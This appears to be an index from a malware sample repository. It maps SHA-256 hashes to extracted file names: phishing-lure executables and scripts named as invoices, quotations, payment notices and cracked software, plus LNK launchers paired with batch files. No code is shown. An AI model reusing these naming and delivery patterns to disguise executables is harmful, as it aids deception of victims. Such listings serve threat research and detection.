.\b6969fa4b5190f3a0b8b4c0b1946602cfe4d6c2aa64af84352f2d51a7de935da	b6969fa4b5190f3a0b8b4c0b1946602cfe4d6c2aa64af84352f2d51a7de935da_1661938885	"['.\b6969fa4b5190f3a0b8b4c0b1946602cfe4d6c2aa64af84352f2d51a7de935da_1661938885/documents.lnk', '.\b6969fa4b5190f3a0b8b4c0b1946602cfe4d6c2aa64af84352f2d51a7de935da_1661938885/into/likeSome.bat', '.\b6969fa4b5190f3a0b8b4c0b1946602cfe4d6c2aa64af84352f2d51a7de935da_1661938885/into/make.jpg', '.\b6969fa4b5190f3a0b8b4c0b1946602cfe4d6c2aa64af84352f2d51a7de935da_1661938885/into/meNot.js', '.\b6969fa4b5190f3a0b8b4c0b1946602cfe4d6c2aa64af84352f2d51a7de935da_1661938885/into/orFor.txt', '.\b6969fa4b5190f3a0b8b4c0b1946602cfe4d6c2aa64af84352f2d51a7de935da_1661938885/into/want.png']"	.\b6969fa4b5190f3a0b8b4c0b1946602cfe4d6c2aa64af84352f2d51a7de935da_1661938885/documents.lnk	into/likeSome.bat
.\b731ba94fe468d867c217afb679576a67c04dec45057dc82be455d03dcd1e190	b731ba94fe468d867c217afb679576a67c04dec45057dc82be455d03dcd1e190_1661938885	['.\b731ba94fe468d867c217afb679576a67c04dec45057dc82be455d03dcd1e190_1661938885/5223_xls.exe']
.\b76e36d7d29691c1cebd1195a6bc67ff4eec6f26d1e27cffeebd09a83ab8c6fe	b76e36d7d29691c1cebd1195a6bc67ff4eec6f26d1e27cffeebd09a83ab8c6fe_1661938885	['.\b76e36d7d29691c1cebd1195a6bc67ff4eec6f26d1e27cffeebd09a83ab8c6fe_1661938885/VPO_SP.9686_Flex_rev_2_BL653368.exe']
.\b790d8d67ccb10c65fe253c74bf0acdc07c7f2f1577e02facb5bd08c359e67a2	b790d8d67ccb10c65fe253c74bf0acdc07c7f2f1577e02facb5bd08c359e67a2_1661938885	['.\b790d8d67ccb10c65fe253c74bf0acdc07c7f2f1577e02facb5bd08c359e67a2_1661938885/Payment Adivse.exe']
.\b7b67336f9909b8b8dfef398896b68fccc5a11954e728dde64ae1a2e1d450d4c	b7b67336f9909b8b8dfef398896b68fccc5a11954e728dde64ae1a2e1d450d4c_1661938885	['.\b7b67336f9909b8b8dfef398896b68fccc5a11954e728dde64ae1a2e1d450d4c_1661938885/RFQ_2022_PROJECT.exe']
.\b9445628c9f3626d0bdad5e360499c216cf7659498484f35f30862d3ca788fa6	b9445628c9f3626d0bdad5e360499c216cf7659498484f35f30862d3ca788fa6_1661938885	['.\b9445628c9f3626d0bdad5e360499c216cf7659498484f35f30862d3ca788fa6_1661938885/JULY2022 SOA.exe']
.\ba287dda4082158f94e8aa217e9acec1518a7c984432605801752dbe36010ae7	ba287dda4082158f94e8aa217e9acec1518a7c984432605801752dbe36010ae7_1661938885	['.\ba287dda4082158f94e8aa217e9acec1518a7c984432605801752dbe36010ae7_1661938885/jd4vC0E7LuAFCcy.exe']
.\ba6fd89f634cf83cc91eb9401f671f33e3457b4cbff13d229054be507660c315	ba6fd89f634cf83cc91eb9401f671f33e3457b4cbff13d229054be507660c315_1661938885	['.\ba6fd89f634cf83cc91eb9401f671f33e3457b4cbff13d229054be507660c315_1661938885/Secpralpro Order Q3 FTD52535345675 .vbs']
.\bb358ae3b4a58d5f05af3752894c1b080806000e5d3d542eba4437014bbede1f	bb358ae3b4a58d5f05af3752894c1b080806000e5d3d542eba4437014bbede1f_1661938885	['.\bb358ae3b4a58d5f05af3752894c1b080806000e5d3d542eba4437014bbede1f_1661938885/103_FT22195J8MKV_0461571799.exe']
.\bbbe999c5d07a3f4abdad8ed0d15c230e233acfd8fbcc90a5f7e010ab80ff85f	bbbe999c5d07a3f4abdad8ed0d15c230e233acfd8fbcc90a5f7e010ab80ff85f_1661938885	['.\bbbe999c5d07a3f4abdad8ed0d15c230e233acfd8fbcc90a5f7e010ab80ff85f_1661938885/Xerox Scan 85345353.exe']
.\bbf30829bcb998ce2aa66993aee934d8656310da34079a1993d26a5b30958e80	bbf30829bcb998ce2aa66993aee934d8656310da34079a1993d26a5b30958e80_1661938885	['.\bbf30829bcb998ce2aa66993aee934d8656310da34079a1993d26a5b30958e80_1661938885/SP.9686_Flex_rev_2_BL65338.exe']
.\bc5251b044778dc3bc552766edda6cdf90e99509a7c7cd40e26ef38426497fd4	bc5251b044778dc3bc552766edda6cdf90e99509a7c7cd40e26ef38426497fd4_1661938885	"['.\bc5251b044778dc3bc552766edda6cdf90e99509a7c7cd40e26ef38426497fd4_1661938885/CH440-3031 New Inquiry 13822.exe', '.\bc5251b044778dc3bc552766edda6cdf90e99509a7c7cd40e26ef38426497fd4_1661938885/logo.png']"
.\bddc75e56384d1979b5bc35cb8056b284a20c1926edcb2ed5a9063fba0697af7	bddc75e56384d1979b5bc35cb8056b284a20c1926edcb2ed5a9063fba0697af7_1661938885	['.\bddc75e56384d1979b5bc35cb8056b284a20c1926edcb2ed5a9063fba0697af7_1661938885/SWIFT Transfer (103) 037RTG2050822156__Pdf__.exe']
.\bea4bb8dad82ba893ffca009e79cd0a1e7d3db92def1a02b7e8aa5681277ca24	bea4bb8dad82ba893ffca009e79cd0a1e7d3db92def1a02b7e8aa5681277ca24_1661938885	['.\bea4bb8dad82ba893ffca009e79cd0a1e7d3db92def1a02b7e8aa5681277ca24_1661938885/107333454.exe']
.\bf48347972069e8277d179de8004fbe5372d66213d8bf130aaceb259fe5cd78b	bf48347972069e8277d179de8004fbe5372d66213d8bf130aaceb259fe5cd78b_1661938885	['.\bf48347972069e8277d179de8004fbe5372d66213d8bf130aaceb259fe5cd78b_1661938885/Order EXT 456574834 - SENTE MAKINA COMMERCIAL INVOICE.vbs']
.\c36a3302401e85c0db0b33d002b458f384eb68706c3f278d7f80af073bd5041a	c36a3302401e85c0db0b33d002b458f384eb68706c3f278d7f80af073bd5041a_1661938885
.\c4315611234ad58db6569be0908ee54f88995f71b1ad6052bc53920354cb6c2e	c4315611234ad58db6569be0908ee54f88995f71b1ad6052bc53920354cb6c2e_1661938885	['.\c4315611234ad58db6569be0908ee54f88995f71b1ad6052bc53920354cb6c2e_1661938885/setup.exe']
.\c4b0996052092a0e53f6946aecc9056a1e65bab087893a0499454f9d7697b992	c4b0996052092a0e53f6946aecc9056a1e65bab087893a0499454f9d7697b992_1661938885	"['.\c4b0996052092a0e53f6946aecc9056a1e65bab087893a0499454f9d7697b992_1661938885/documents.lnk', '.\c4b0996052092a0e53f6946aecc9056a1e65bab087893a0499454f9d7697b992_1661938885/into/ifThe.bat', '.\c4b0996052092a0e53f6946aecc9056a1e65bab087893a0499454f9d7697b992_1661938885/into/make.jpg', '.\c4b0996052092a0e53f6946aecc9056a1e65bab087893a0499454f9d7697b992_1661938885/into/otherHer.js', '.\c4b0996052092a0e53f6946aecc9056a1e65bab087893a0499454f9d7697b992_1661938885/into/want.png', '.\c4b0996052092a0e53f6946aecc9056a1e65bab087893a0499454f9d7697b992_1661938885/into/wouldNo.txt']"	.\c4b0996052092a0e53f6946aecc9056a1e65bab087893a0499454f9d7697b992_1661938885/documents.lnk	into/ifThe.bat
.\c50778c40a364eb3ebfa083ed96f9ee78fb5fce3c73aee359ff7d359ae508642	c50778c40a364eb3ebfa083ed96f9ee78fb5fce3c73aee359ff7d359ae508642_1661938885	['.\c50778c40a364eb3ebfa083ed96f9ee78fb5fce3c73aee359ff7d359ae508642_1661938885/File89384874857_8938384747475.vbs']
.\c50a8f7ba05f56e350cc65a1c8fdd5083a88f725bdb3eb3ac0cca4cbb7b12e6c	c50a8f7ba05f56e350cc65a1c8fdd5083a88f725bdb3eb3ac0cca4cbb7b12e6c_1661938885	['.\c50a8f7ba05f56e350cc65a1c8fdd5083a88f725bdb3eb3ac0cca4cbb7b12e6c_1661938885/Quotation Request - 12 August.exe']
.\c5412ccdc10eedc9d7c060c408c747e2fbb4568131568cea20964d7c01b5d785	c5412ccdc10eedc9d7c060c408c747e2fbb4568131568cea20964d7c01b5d785_1661938885	['.\c5412ccdc10eedc9d7c060c408c747e2fbb4568131568cea20964d7c01b5d785_1661938885/8599223560012.exe']
.\c6628d9438f143ec06fa1024c7c6b3b21158dec41bea7ba01f72d525cf670a1c	c6628d9438f143ec06fa1024c7c6b3b21158dec41bea7ba01f72d525cf670a1c_1661938885	['.\c6628d9438f143ec06fa1024c7c6b3b21158dec41bea7ba01f72d525cf670a1c_1661938885/pago.exe;1']
.\c6808f6f407cc4254b58ac31fb63d71ae4106f361a3fe68583ba79730c1d54ac	c6808f6f407cc4254b58ac31fb63d71ae4106f361a3fe68583ba79730c1d54ac_1661938885	"['.\c6808f6f407cc4254b58ac31fb63d71ae4106f361a3fe68583ba79730c1d54ac_1661938885/documents.lnk', '.\c6808f6f407cc4254b58ac31fb63d71ae4106f361a3fe68583ba79730c1d54ac_1661938885/into/IMore.js', '.\c6808f6f407cc4254b58ac31fb63d71ae4106f361a3fe68583ba79730c1d54ac_1661938885/into/atMake.bat', '.\c6808f6f407cc4254b58ac31fb63d71ae4106f361a3fe68583ba79730c1d54ac_1661938885/into/make.jpg', '.\c6808f6f407cc4254b58ac31fb63d71ae4106f361a3fe68583ba79730c1d54ac_1661938885/into/manHis.txt', '.\c6808f6f407cc4254b58ac31fb63d71ae4106f361a3fe68583ba79730c1d54ac_1661938885/into/want.png']"	.\c6808f6f407cc4254b58ac31fb63d71ae4106f361a3fe68583ba79730c1d54ac_1661938885/documents.lnk	into/atMake.bat
.\c7ac158ea5d69b713fe8416ed75c4a5c59e467647c144b0a3ff9fe1d1ebbad98	c7ac158ea5d69b713fe8416ed75c4a5c59e467647c144b0a3ff9fe1d1ebbad98_1661938885	"['.\c7ac158ea5d69b713fe8416ed75c4a5c59e467647c144b0a3ff9fe1d1ebbad98_1661938885/AK Food ZAMÓWIENIE ZAKUPU,pdf.exe']"
.\c8014133ac5b0bab3ce8357eaef747065d6b6bd2213ad97795506fe6b36c19a4	c8014133ac5b0bab3ce8357eaef747065d6b6bd2213ad97795506fe6b36c19a4_1661938885	"['.\c8014133ac5b0bab3ce8357eaef747065d6b6bd2213ad97795506fe6b36c19a4_1661938885/E.J.B. cintas adhesivas ORDEN DE COMPRA ,pdf.exe']"
.\c86e284b55cd7bcdba14aa78e0a5b59485bdfc7e60f4a88bc22e26ccc2ef6cc8	c86e284b55cd7bcdba14aa78e0a5b59485bdfc7e60f4a88bc22e26ccc2ef6cc8_1661938885	['.\c86e284b55cd7bcdba14aa78e0a5b59485bdfc7e60f4a88bc22e26ccc2ef6cc8_1661938885/RFQ-36996 OTC - SDMO.exe']
.\cb2a16478a698a252b16185b36c07a4c6ee7284eaf57d26e5b3cd57d78a67cef	cb2a16478a698a252b16185b36c07a4c6ee7284eaf57d26e5b3cd57d78a67cef_1661938885	['.\cb2a16478a698a252b16185b36c07a4c6ee7284eaf57d26e5b3cd57d78a67cef_1661938885/Vehpxyehcigmbvekraxwbopgjsexcuxsqv.exe']
.\cb2d925fa393d4a75046c68a6965c0736c8741a9bf15955cd25df4a843dcb8e6	cb2d925fa393d4a75046c68a6965c0736c8741a9bf15955cd25df4a843dcb8e6_1661938885	"['.\cb2d925fa393d4a75046c68a6965c0736c8741a9bf15955cd25df4a843dcb8e6_1661938885/Подтвердить заказ-1969_V5 # 8346,pdf.exe']"
.\cb2faef0fff0a36084ba707837e74b9e413ac7d12c719adfc7dfce099e738d40	cb2faef0fff0a36084ba707837e74b9e413ac7d12c719adfc7dfce099e738d40_1661938885	['.\cb2faef0fff0a36084ba707837e74b9e413ac7d12c719adfc7dfce099e738d40_1661938885/Enq605778.exe']
.\cb3698a4913a354fcdf4bcb24bd6e2b749464684dbed06e4f05392e37391954b	cb3698a4913a354fcdf4bcb24bd6e2b749464684dbed06e4f05392e37391954b_1661938885	"['.\cb3698a4913a354fcdf4bcb24bd6e2b749464684dbed06e4f05392e37391954b_1661938885/Belaquilon SATIN ALMA SİPARİŞ_U00162,pdf.exe']"
.\cf7a5e3674c2f0d9ca68ce2c3f1c6bdf461dfe5a27759fab78cdd14dcf398e4f	cf7a5e3674c2f0d9ca68ce2c3f1c6bdf461dfe5a27759fab78cdd14dcf398e4f_1661938885	['.\cf7a5e3674c2f0d9ca68ce2c3f1c6bdf461dfe5a27759fab78cdd14dcf398e4f_1661938885/9810_219_pdf.exe']
.\d0b91a41f61a03352dc51f9fa4e4ff4a6e851142df6914af5514cc49ede6e633	d0b91a41f61a03352dc51f9fa4e4ff4a6e851142df6914af5514cc49ede6e633_1661938885	['.\d0b91a41f61a03352dc51f9fa4e4ff4a6e851142df6914af5514cc49ede6e633_1661938885/Umybvakoqtcdijocoypfwpjrcqomzlsnbt.exe']
.\d12a5a4082fecf612866f40a51b6b90b181f62f4666a087e4275776eeafe23b7	d12a5a4082fecf612866f40a51b6b90b181f62f4666a087e4275776eeafe23b7_1661938885	['.\d12a5a4082fecf612866f40a51b6b90b181f62f4666a087e4275776eeafe23b7_1661938885/Documento de entrega de envío DHL227024.exe']
.\d24e3e2502cedc54c0dc1b8199ff09d9736cd64ac15a53724054322bbebe2210	d24e3e2502cedc54c0dc1b8199ff09d9736cd64ac15a53724054322bbebe2210_1661938885	['.\d24e3e2502cedc54c0dc1b8199ff09d9736cd64ac15a53724054322bbebe2210_1661938885/Cerere de oferta P.0- 202208100237RO.vbs']
.\d2e198ac34eca52379e711c1b2fd2f49b319f234c3fe08f175e73dd0f38abac3	d2e198ac34eca52379e711c1b2fd2f49b319f234c3fe08f175e73dd0f38abac3_1661938885	"['.\d2e198ac34eca52379e711c1b2fd2f49b319f234c3fe08f175e73dd0f38abac3_1661938885/documents.lnk', '.\d2e198ac34eca52379e711c1b2fd2f49b319f234c3fe08f175e73dd0f38abac3_1661938885/then/by.txt', '.\d2e198ac34eca52379e711c1b2fd2f49b319f234c3fe08f175e73dd0f38abac3_1661938885/then/day.gif', '.\d2e198ac34eca52379e711c1b2fd2f49b319f234c3fe08f175e73dd0f38abac3_1661938885/then/dayWillSaySomeJust.txt', '.\d2e198ac34eca52379e711c1b2fd2f49b319f234c3fe08f175e73dd0f38abac3_1661938885/then/doGiveByJustIts.bat', '.\d2e198ac34eca52379e711c1b2fd2f49b319f234c3fe08f175e73dd0f38abac3_1661938885/then/he.png', '.\d2e198ac34eca52379e711c1b2fd2f49b319f234c3fe08f175e73dd0f38abac3_1661938885/then/onMyNotSeeI.js', '.\d2e198ac34eca52379e711c1b2fd2f49b319f234c3fe08f175e73dd0f38abac3_1661938885/then/use.txt']"	.\d2e198ac34eca52379e711c1b2fd2f49b319f234c3fe08f175e73dd0f38abac3_1661938885/documents.lnk	then/doGiveByJustIts.bat
.\d3c15ef717e5a56d165848d5c518f158ec75ea5f5906a0f9c56b01036a6999bc	d3c15ef717e5a56d165848d5c518f158ec75ea5f5906a0f9c56b01036a6999bc_1661938885	"['.\d3c15ef717e5a56d165848d5c518f158ec75ea5f5906a0f9c56b01036a6999bc_1661938885/RFQ 103404_001 08182022,pdf.exe']"
.\d403df3fb181560d6ebf4885b538c5af86e718fecfabc73219b64924d74dd0eb	d403df3fb181560d6ebf4885b538c5af86e718fecfabc73219b64924d74dd0eb_1661938885	"['.\d403df3fb181560d6ebf4885b538c5af86e718fecfabc73219b64924d74dd0eb_1661938885/app.dll', '.\d403df3fb181560d6ebf4885b538c5af86e718fecfabc73219b64924d74dd0eb_1661938885/pss10r.chm']"
.\d443c27b8018d7a49f99396375c391107e5e22630365cada5626ee2c4fb57e49	d443c27b8018d7a49f99396375c391107e5e22630365cada5626ee2c4fb57e49_1661938885	['.\d443c27b8018d7a49f99396375c391107e5e22630365cada5626ee2c4fb57e49_1661938885/Inquiry - RFQ HMGU66sw5558.exe']
.\d45e465d78d74d0679dd8c2d8c14894174007abdc9c2cff61c24c74c09b625ab	d45e465d78d74d0679dd8c2d8c14894174007abdc9c2cff61c24c74c09b625ab_1661938885	['.\d45e465d78d74d0679dd8c2d8c14894174007abdc9c2cff61c24c74c09b625ab_1661938885/BBVA Pago_Copia_RX4227654_scan.exe']
.\d47b79e083d123bb135e4b6b00c7cdf81f235b73c1eac0cf1275157043406076	d47b79e083d123bb135e4b6b00c7cdf81f235b73c1eac0cf1275157043406076_1661938885	['.\d47b79e083d123bb135e4b6b00c7cdf81f235b73c1eac0cf1275157043406076_1661938885/commercial invoice.exe']
.\d4a24e2dbad00129c9a7aaa496bdc82d42b51511b22243812700e8608e2f6215	d4a24e2dbad00129c9a7aaa496bdc82d42b51511b22243812700e8608e2f6215_1661938885	['.\d4a24e2dbad00129c9a7aaa496bdc82d42b51511b22243812700e8608e2f6215_1661938885/cheat oss-3066872d.exe']
.\d565dd384ad49ca5bba44cf49fc0782037ba718ad88776d01a0c07f37a993ba8	d565dd384ad49ca5bba44cf49fc0782037ba718ad88776d01a0c07f37a993ba8_1661938885	['.\d565dd384ad49ca5bba44cf49fc0782037ba718ad88776d01a0c07f37a993ba8_1661938885/BL COPY- CIF LCL SEA SHIPMENT.exe']
.\d7e6c31af1b6a6cdf936a6709ecdec4abcccdbe15cb99f0607f0c6b45c8b3708	d7e6c31af1b6a6cdf936a6709ecdec4abcccdbe15cb99f0607f0c6b45c8b3708_1661938885	['.\d7e6c31af1b6a6cdf936a6709ecdec4abcccdbe15cb99f0607f0c6b45c8b3708_1661938885/pubg-ultrainstinct-bvff-3b256d.exe']
.\d82586019d0c036e37d52afe6b10530078bf101e73761c6f892fe064ee2339d0	d82586019d0c036e37d52afe6b10530078bf101e73761c6f892fe064ee2339d0_1661938885	"['.\d82586019d0c036e37d52afe6b10530078bf101e73761c6f892fe064ee2339d0_1661938885/invoice-not-paid-date08-08-22-pdf.lnk', '.\d82586019d0c036e37d52afe6b10530078bf101e73761c6f892fe064ee2339d0_1661938885/at/but.txt', '.\d82586019d0c036e37d52afe6b10530078bf101e73761c6f892fe064ee2339d0_1661938885/at/ofThereBeHereSee.bat', '.\d82586019d0c036e37d52afe6b10530078bf101e73761c6f892fe064ee2339d0_1661938885/at/oneWeThoseWellOnly.txt', '.\d82586019d0c036e37d52afe6b10530078bf101e73761c6f892fe064ee2339d0_1661938885/at/time.gif', '.\d82586019d0c036e37d52afe6b10530078bf101e73761c6f892fe064ee2339d0_1661938885/at/twoHimMyTheirBy.js']"	.\d82586019d0c036e37d52afe6b10530078bf101e73761c6f892fe064ee2339d0_1661938885/invoice-not-paid-date08-08-22-pdf.lnk	at/ofThereBeHereSee.bat
.\d900b74a61fe87075dfcbfa87369cc42a66f306c2d65c3370eec76ebd05b5375	d900b74a61fe87075dfcbfa87369cc42a66f306c2d65c3370eec76ebd05b5375_1661938885	['.\d900b74a61fe87075dfcbfa87369cc42a66f306c2d65c3370eec76ebd05b5375_1661938885/FILE663736464_778837364747.vbs']
.\d955c8171c6d66a1edaeb9d9585d6f9421fa62075665de4949340668582c3412	d955c8171c6d66a1edaeb9d9585d6f9421fa62075665de4949340668582c3412_1661938885	"['.\d955c8171c6d66a1edaeb9d9585d6f9421fa62075665de4949340668582c3412_1661938885/Invoice_August-16-2022.lnk', '.\d955c8171c6d66a1edaeb9d9585d6f9421fa62075665de4949340668582c3412_1661938885/it/goBe.js', '.\d955c8171c6d66a1edaeb9d9585d6f9421fa62075665de4949340668582c3412_1661938885/it/goNew.txt', '.\d955c8171c6d66a1edaeb9d9585d6f9421fa62075665de4949340668582c3412_1661938885/it/out.jpg', '.\d955c8171c6d66a1edaeb9d9585d6f9421fa62075665de4949340668582c3412_1661938885/it/thisOur.bat', '.\d955c8171c6d66a1edaeb9d9585d6f9421fa62075665de4949340668582c3412_1661938885/it/which.txt']"	.\d955c8171c6d66a1edaeb9d9585d6f9421fa62075665de4949340668582c3412_1661938885/Invoice_August-16-2022.lnk	it/thisOur.bat
.\d9d84639c4a38a13a4f9bfaa4c9d41e4d575f9fab90cc4c1f9268be18adf426b	d9d84639c4a38a13a4f9bfaa4c9d41e4d575f9fab90cc4c1f9268be18adf426b_1661938885	['.\d9d84639c4a38a13a4f9bfaa4c9d41e4d575f9fab90cc4c1f9268be18adf426b_1661938885/Inquiry.exe;1']
.\db548d467909c4c54b7bda22c122f9c148b1c25c1bfcdaf6a6ab5249532adfee	db548d467909c4c54b7bda22c122f9c148b1c25c1bfcdaf6a6ab5249532adfee_1661938885	['.\db548d467909c4c54b7bda22c122f9c148b1c25c1bfcdaf6a6ab5249532adfee_1661938885/SOA August 2022.exe']
.\dc310ebeb030a47ae3e5719455f4bd53ab7c3e32f2483a8feb6243724ea56dcd	dc310ebeb030a47ae3e5719455f4bd53ab7c3e32f2483a8feb6243724ea56dcd_1661938885	['.\dc310ebeb030a47ae3e5719455f4bd53ab7c3e32f2483a8feb6243724ea56dcd_1661938885/KMSpico 10.2 Full.exe']
.\dec242ac785a770f4f4c2b3c845049176ffab0b28a3398518cda07baca7a45e9	dec242ac785a770f4f4c2b3c845049176ffab0b28a3398518cda07baca7a45e9_1661938885	"['.\dec242ac785a770f4f4c2b3c845049176ffab0b28a3398518cda07baca7a45e9_1661938885/Invoice-August-09-2022pdf.lnk', '.\dec242ac785a770f4f4c2b3c845049176ffab0b28a3398518cda07baca7a45e9_1661938885/your/give.txt', '.\dec242ac785a770f4f4c2b3c845049176ffab0b28a3398518cda07baca7a45e9_1661938885/your/ourWillBecauseJustAll.bat', '.\dec242ac785a770f4f4c2b3c845049176ffab0b28a3398518cda07baca7a45e9_1661938885/your/say.txt', '.\dec242ac785a770f4f4c2b3c845049176ffab0b28a3398518cda07baca7a45e9_1661938885/your/tell.txt', '.\dec242ac785a770f4f4c2b3c845049176ffab0b28a3398518cda07baca7a45e9_1661938885/your/thing.gif', '.\dec242ac785a770f4f4c2b3c845049176ffab0b28a3398518cda07baca7a45e9_1661938885/your/whoManSoHaveOut.txt', '.\dec242ac785a770f4f4c2b3c845049176ffab0b28a3398518cda07baca7a45e9_1661938885/your/yourHereItsWhatYou.js']"	.\dec242ac785a770f4f4c2b3c845049176ffab0b28a3398518cda07baca7a45e9_1661938885/Invoice-August-09-2022pdf.lnk	your/ourWillBecauseJustAll.bat
.\dec44e1bef65a6d4262eb60b7bea9298674180e560dd6aac5a6144a316459565	dec44e1bef65a6d4262eb60b7bea9298674180e560dd6aac5a6144a316459565_1661938885	['.\dec44e1bef65a6d4262eb60b7bea9298674180e560dd6aac5a6144a316459565_1661938885/KMS_VL_ALL_AIO.cmd']
.\df33af086cee261d4c34eaaaeaa9c9cad5290bf0509d2521c9b2fc82568927d4	df33af086cee261d4c34eaaaeaa9c9cad5290bf0509d2521c9b2fc82568927d4_1661938885	['.\df33af086cee261d4c34eaaaeaa9c9cad5290bf0509d2521c9b2fc82568927d4_1661938885/RFQ-202208180217AM.exe']
.\e075fbaef8bf1e5cb959c5bd7f5f1db51968f2bf67e64be02244804bf277ce4f	e075fbaef8bf1e5cb959c5bd7f5f1db51968f2bf67e64be02244804bf277ce4f_1661938886	['.\e075fbaef8bf1e5cb959c5bd7f5f1db51968f2bf67e64be02244804bf277ce4f_1661938886/RFQ - ZEECO USA 升級項目/RFQ - ZEECO USA 升級項目.exe']
.\e0b8d125213d81163bdf7c519d3b37fa70a624dc8ef35bb4758ffb1db72b053e	e0b8d125213d81163bdf7c519d3b37fa70a624dc8ef35bb4758ffb1db72b053e_1661938886	"['.\e0b8d125213d81163bdf7c519d3b37fa70a624dc8ef35bb4758ffb1db72b053e_1661938886/SoundBoosterSetup.exe', '.\e0b8d125213d81163bdf7c519d3b37fa70a624dc8ef35bb4758ffb1db72b053e_1661938886/Crack/Patch.rar', '.\e0b8d125213d81163bdf7c519d3b37fa70a624dc8ef35bb4758ffb1db72b053e_1661938886/Crack/Patch/Patch.exe']"
.\e0f92bd5aa472a99caad4cf721589ead72498c20f83176abf284f3d525a31fae	e0f92bd5aa472a99caad4cf721589ead72498c20f83176abf284f3d525a31fae_1661938886	['.\e0f92bd5aa472a99caad4cf721589ead72498c20f83176abf284f3d525a31fae_1661938886/Quotation-17-08-22.exe']
.\e252bb22fa8a52806faae965ae7434122b744b55db0961209571b36ec282362f	e252bb22fa8a52806faae965ae7434122b744b55db0961209571b36ec282362f_1661938886	"['.\e252bb22fa8a52806faae965ae7434122b744b55db0961209571b36ec282362f_1661938886/Invoice-August-09-2022pdf.lnk', '.\e252bb22fa8a52806faae965ae7434122b744b55db0961209571b36ec282362f_1661938886/your/give.txt', '.\e252bb22fa8a52806faae965ae7434122b744b55db0961209571b36ec282362f_1661938886/your/hisOneWillOrYou.js', '.\e252bb22fa8a52806faae965ae7434122b744b55db0961209571b36ec282362f_1661938886/your/howHeOneToIts.bat', '.\e252bb22fa8a52806faae965ae7434122b744b55db0961209571b36ec282362f_1661938886/your/ifTheyHowHereOut.txt', '.\e252bb22fa8a52806faae965ae7434122b744b55db0961209571b36ec282362f_1661938886/your/say.txt', '.\e252bb22fa8a52806faae965ae7434122b744b55db0961209571b36ec282362f_1661938886/your/tell.txt', '.\e252bb22fa8a52806faae965ae7434122b744b55db0961209571b36ec282362f_1661938886/your/thing.gif']"	.\e252bb22fa8a52806faae965ae7434122b744b55db0961209571b36ec282362f_1661938886/Invoice-August-09-2022pdf.lnk	your/howHeOneToIts.bat
.\e25fcdf70b541d08e9416ec13b47b5d93b0e883fb8ee2ee4222281590bbd5fdb	e25fcdf70b541d08e9416ec13b47b5d93b0e883fb8ee2ee4222281590bbd5fdb_1661938886	['.\e25fcdf70b541d08e9416ec13b47b5d93b0e883fb8ee2ee4222281590bbd5fdb_1661938886/OC 2022 08 11 1670 Intelservice SAS_pdf.exe']
.\e375feb904f3e8f7d5e26c0f79dec2bbb17a8c2b6fee74a96f7f4a1fbed95a25	e375feb904f3e8f7d5e26c0f79dec2bbb17a8c2b6fee74a96f7f4a1fbed95a25_1661938886	['.\e375feb904f3e8f7d5e26c0f79dec2bbb17a8c2b6fee74a96f7f4a1fbed95a25_1661938886/Re Re Re Re ขอขยายพันธุ์.exe']
.\e47d353419e5b3f80ae9431a2ff3c575bac131e8d69efd9ce0ef2772aae2d506	e47d353419e5b3f80ae9431a2ff3c575bac131e8d69efd9ce0ef2772aae2d506_1661938886	['.\e47d353419e5b3f80ae9431a2ff3c575bac131e8d69efd9ce0ef2772aae2d506_1661938886/SOA August 2022.exe']
.\e4fd6fb8d277b2fd28fa9999c2fc11d5100b9bed4803b629990cd6720d4deebe	e4fd6fb8d277b2fd28fa9999c2fc11d5100b9bed4803b629990cd6720d4deebe_1661938886	['.\e4fd6fb8d277b2fd28fa9999c2fc11d5100b9bed4803b629990cd6720d4deebe_1661938886/4OmGG2uEHRKdlRp.exe']
.\e54fae4178c6b78888e8eb0e5ff58f3aa7a6fb0811ac502effd00a848d3b55d0	e54fae4178c6b78888e8eb0e5ff58f3aa7a6fb0811ac502effd00a848d3b55d0_1661938886	"['.\e54fae4178c6b78888e8eb0e5ff58f3aa7a6fb0811ac502effd00a848d3b55d0_1661938886/documents.lnk', '.\e54fae4178c6b78888e8eb0e5ff58f3aa7a6fb0811ac502effd00a848d3b55d0_1661938886/one/newDay.js', '.\e54fae4178c6b78888e8eb0e5ff58f3aa7a6fb0811ac502effd00a848d3b55d0_1661938886/one/useOn.txt', '.\e54fae4178c6b78888e8eb0e5ff58f3aa7a6fb0811ac502effd00a848d3b55d0_1661938886/one/whichWill.bat']"	.\e54fae4178c6b78888e8eb0e5ff58f3aa7a6fb0811ac502effd00a848d3b55d0_1661938886/documents.lnk	one/whichWill.bat
.\e634f5a6e51c81269feb6f6030ae8edc03f4b9e295f7944acb48bd6edfa16c64	e634f5a6e51c81269feb6f6030ae8edc03f4b9e295f7944acb48bd6edfa16c64_1661938886	['.\e634f5a6e51c81269feb6f6030ae8edc03f4b9e295f7944acb48bd6edfa16c64_1661938886/Proof_Of_Payment.exe']
.\e6fa0ede71a3056c770d816013141993c95d7d939d04292eb58b4681a1fd681f	e6fa0ede71a3056c770d816013141993c95d7d939d04292eb58b4681a1fd681f_1661938886	['.\e6fa0ede71a3056c770d816013141993c95d7d939d04292eb58b4681a1fd681f_1661938886/Order 2022-10396P2615_pdf .exe']
.\e7dada5b84136b5e46eca4ab48474029cecd1ffb7fc401245d53e45620d160ce	e7dada5b84136b5e46eca4ab48474029cecd1ffb7fc401245d53e45620d160ce_1661938886	"['.\e7dada5b84136b5e46eca4ab48474029cecd1ffb7fc401245d53e45620d160ce_1661938886/KMSPico 10.2.1.exe;1', '.\e7dada5b84136b5e46eca4ab48474029cecd1ffb7fc401245d53e45620d160ce_1661938886/ReadMe.txt;1']"
.\e840ef7f7830f49d9b9499ca2081d0a465060fbe49d5a887d20615549234758d	e840ef7f7830f49d9b9499ca2081d0a465060fbe49d5a887d20615549234758d_1661938886	['.\e840ef7f7830f49d9b9499ca2081d0a465060fbe49d5a887d20615549234758d_1661938886/xerox scan_2435767946352_pdf .exe']
.\e9f8b624c52909f52c4bed5550d4cf6baba775ae8e09a740c8d974e091dcb8aa	e9f8b624c52909f52c4bed5550d4cf6baba775ae8e09a740c8d974e091dcb8aa_1661938886	['.\e9f8b624c52909f52c4bed5550d4cf6baba775ae8e09a740c8d974e091dcb8aa_1661938886/DHL Delivery Invoice.pdf.exe']
.\eb414524fddc80f278f394ce7c7009cb6d68eef4b5d9aee61fbf5d158ac17593	eb414524fddc80f278f394ce7c7009cb6d68eef4b5d9aee61fbf5d158ac17593_1661938886	['.\eb414524fddc80f278f394ce7c7009cb6d68eef4b5d9aee61fbf5d158ac17593_1661938886/TheGreatSuspenderSetup.exe']
